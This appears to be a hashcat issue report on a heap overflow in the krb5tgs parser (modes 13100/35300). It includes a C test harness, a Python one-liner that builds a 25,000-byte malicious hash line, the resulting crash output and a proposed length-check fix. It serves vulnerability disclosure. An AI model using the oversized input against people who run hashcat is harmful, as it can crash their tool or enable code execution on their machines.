#4723·hashcat

**krb5tgs parser (modes 13100 / 35300)** — unbounded `account_info` token length copied into a 2048-byte `account_info` array.

Author: nuartvisionCreated Jul 12, 2026Updated Jul 15, 2026
Labelsbugduplicate

krb5tgs hash parser heap overflow (modes 13100, 35300)

Field Value
Title krb5tgs hash parser copies attacker-controlled account_info token without an upper bound, overflowing a fixed heap buffer
Vulnerability class Heap buffer overflow / out-of-bounds write (CWE-122)
Affected files / lines src/modules/module_13100.c:133-156 (length derivation), src/modules/module_13100.c:245 (overflowing copy). Same pattern in src/modules/module_35300.c:159-244.

Description

The krb5tgs hash format 1 line is parsed as:

$krb5tgs$23$*<user>$<realm>$<spn>*<checksum-hex>$<edata2-hex>

In module_hash_decode, the parser computes account_info_len as the distance from the first * after $23$ to the closing *$, then sets token.len[2] = account_info_len with TOKEN_ATTR_FIXED_LENGTH but no TOKEN_ATTR_VERIFY_LENGTH and no len_max:

c
const char *account_info_start = line_buf + 12;
char *account_info_stop  = strchr (account_info_start + 1, '*');
...
const int account_info_len = account_info_stop - account_info_start;
...
token.len[2]     = account_info_len;
token.attr[2]    = TOKEN_ATTR_FIXED_LENGTH;

After tokenization succeeds, the parser copies the whole token into a 2048-byte account_info array:

c
memcpy (krb5tgs->account_info, token.buf[2], token.len[2]);

Because account_info_len is derived directly from attacker input and is not capped, a hash line with a multi-kilobyte user/realm/spn field writes past the end of the buffer.

Source-to-sink path

attacker-controlled hash file line
  -> hc_fgetl() / hashes.c line reader (HCBUFSIZ_LARGE = 16 MB)
  -> module_hash_decode() in module_13100.so
  -> strchr() computes account_info_len from input
  -> input_tokenizer() accepts the fixed-length token
  -> memcpy() at module_13100.c:245 writes token.len[2] bytes into krb5tgs->account_info[512]

Preconditions

  • Attacker can supply or modify a krb5tgs hash file processed by hashcat (-m 13100 or -m 35300).
  • No special privileges required; the victim simply runs hashcat on the file.

Reproduction

  1. Build the affected module from the checkout:
bash
cd /home/test/hashcat
make hashcat
make modules/module_13100.so
  1. Build the harness:
bash
cat > /tmp/harness_13100.c <<'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
typedef unsigned long long (*size_fn)(const void*,const void*,const void*);
typedef int (*decode_fn)(const void*, void*, void*, void*, void*, void*, const char*, const int);
int main(int argc, char **argv) {
    if (argc < 2) return 1;
    void *h = dlopen("/home/test/hashcat/modules/module_13100.so", RTLD_NOW);
    size_fn es = (size_fn)dlsym(h, "module_esalt_size");
    decode_fn fn = (decode_fn)dlsym(h, "module_hash_decode");
    unsigned long long sz = es(NULL,NULL,NULL);
    unsigned char *esalt = malloc(sz + 256);
    memset(esalt, 0x41, sz + 256);
    int rc = fn(NULL, (unsigned char[64]){0}, (unsigned char[8192]){0}, esalt, NULL, NULL, argv[1], strlen(argv[1]));
    printf("esalt_size=%llu rc=%d\n", sz, rc);
    printf("offset2048=0x%02x%02x%02x%02x  tail=0x%02x%02x%02x%02x\n",
           esalt[2048], esalt[2049], esalt[2050], esalt[2051],
           esalt[sz], esalt[sz+1], esalt[sz+2], esalt[sz+3]);
    free(esalt); dlclose(h);
    return 0;
}
EOF
gcc -o /tmp/harness_13100 /tmp/harness_13100.c -ldl
  1. Run with a benign short field (no overflow):
bash
/tmp/harness_13100 '$krb5tgs$23$*u$r$s*$12345678901234567890123456789012$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
# esalt_size=22552 rc=0
# offset2048=0x12345678  tail=0x41414141
  1. Run with a 25,000-byte account_info field:
bash
python3 -c "acc='A'*25000; print(f'\$krb5tgs\$23\$*{acc}*\$12345678901234567890123456789012\$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')" > /tmp/krb5tgs_overflow.txt
/tmp/harness_13100 "$(cat /tmp/krb5tgs_overflow.txt)"
# esalt_size=22552 rc=0
# free(): invalid next size (normal)

The glibc heap check fails because the oversized memcpy corrupted heap metadata. A shorter (3,000-byte) field already overwrites the checksum field at offset 2048.

Impact

A malicious krb5tgs hash file can corrupt heap metadata and adjacent objects. On many systems this leads to a crash; with further shaping it can become arbitrary code execution in the context of the user running hashcat.

Why this is not expected behavior

Hashcat is expected to reject malformed hash lines. The parser has length checks for other fields (edata2 max 40960, format-3 spn max 2048), but the format-1 account_info chunk has no upper bound, making the overflow an unintended parsing failure rather than a documented limit.

Possible Fix (but this will limit 4096, which is also a valid option for pkinit_dh_min_bits in krb5_conf)

Bound the format-1 account_info token with the existing length-verification mechanism before it reaches memcpy. In src/modules/module_13100.c (and the identical block in src/modules/module_35300.c) change the token definition from:

c
      // user$realm$spn

      token.len[2]     = account_info_len;
      token.attr[2]    = TOKEN_ATTR_FIXED_LENGTH;

to:

c
      // user$realm$spn

      token.len[2]     = account_info_len;
      token.len_min[2] = 0;
      token.len_max[2] = sizeof (krb5tgs->account_info); // 2048
      token.attr[2]    = TOKEN_ATTR_FIXED_LENGTH
                       | TOKEN_ATTR_VERIFY_LENGTH;

input_tokenizer() will then reject any format-1 line whose *user$realm$spn* chunk exceeds the 2048-byte account_info buffer, returning PARSER_TOKEN_LENGTH instead of letting module_hash_decode() overflow the heap allocation.